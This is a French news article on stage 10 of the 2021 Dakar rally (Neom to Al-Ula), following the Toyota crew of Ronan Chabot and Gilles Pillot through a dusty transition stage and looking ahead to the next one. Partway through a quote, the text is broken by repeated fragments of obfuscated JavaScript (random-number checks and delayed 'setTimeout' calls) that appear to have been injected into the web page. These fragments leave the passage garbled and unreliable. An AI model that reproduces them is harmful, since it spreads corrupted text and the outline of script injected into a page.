Etape 10 : Neom > Al-Ula

Après une journée de transition, terminée au 21e rang, le duo s’attache à bien récupérer avant l’avant-dernière étape qui s’annonce particulièrement difficile. Il faudra la passer sans encombre pour s’offrir la joie du podium, vendredi soir à Djeddah.

Al-Ula, ce mercredi soir, aura à coup sûr la palme du plus beau bivouac de cette édition 2021. Il y a les montagnes et les dunes qui l’encadrent et le coucher de soleil, virant du rouge au jaune, qui inonde les lieux alors que les concurrents rejoignent progressivement les lieux. Les rayons passent d’ailleurs à travers la petite fenêtre de la cabine de Ronan et Gilles en cette fin d’après-midi. S’allonger, se reposer et récupérer : il y a toujours des instants pour s’offrir un peu de répit après des heures à batailler sur les pistes.

« Pas d’opportunité pour s’exprimer »

La spéciale du jour qui partait depuis Neom, les deux hommes l’ont débutée depuis la 21e place, l’ont terminée au 27e rang, ce qui leur permet de figurer à la 26e place au général. Pourtant, dans l’habitacle de la Toyota, ce mercredi ne restera pas dans les annales. Ronan préfère parler d’étape « de transition », « un peu neutre » et « pas vraiment enthousiasmante ». Le plaisir n’y était pas et la raison est identique aux derniers jours : la difficulté de dépasser, les nuages de poussière soulevés par les concurrents qui les ont précédés et une forme d’impuissance à ne pouvoir faire autrement.

« Ça n’avait pas grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and intérêt sportivement, assure Ronan Chabot. Certes, on a traversé quelques canyons et vu de beaux paysages mais on était tous les uns derrière les autres. » Le duo a concédé quelques minutes en cherchant un ‘way point’ (point de passage) sur un plateau mais la mécanique a tenu et aucune crevaison n’a été à signaler. « Dans de telles conditions, nous n’avons pas vraiment eu l’opportunité de nous exprimer », poursuit Gilles Pillot.

Vivement la suite

L’expérience a ceci de beau qu’elle permet de relativiser et de savoir que le rallye-raid offre toujours autre chose, que le sentiment d’un jour n’est pas celui du lendemain et que l’aventure continue. Et demain, tous seront servis avec 470 km de spéciale entre Al Ula et Yanbu. Un peu plus tôt, David Castera confirmait qu’il « s’agit d’une grosse étape qui peut engendrer des rebondissements au classement général ».

Il y a aura plus d’une centaine de kilomètres de dunes mais pas seulement. « Avant, il faudra résister aux rochers, aux cailloux et aux sentiers sinueux », précise Ronan. « Il y a aura de tout, il faudra être en forme… C’est le genre d’étape qu’on aime bien ! »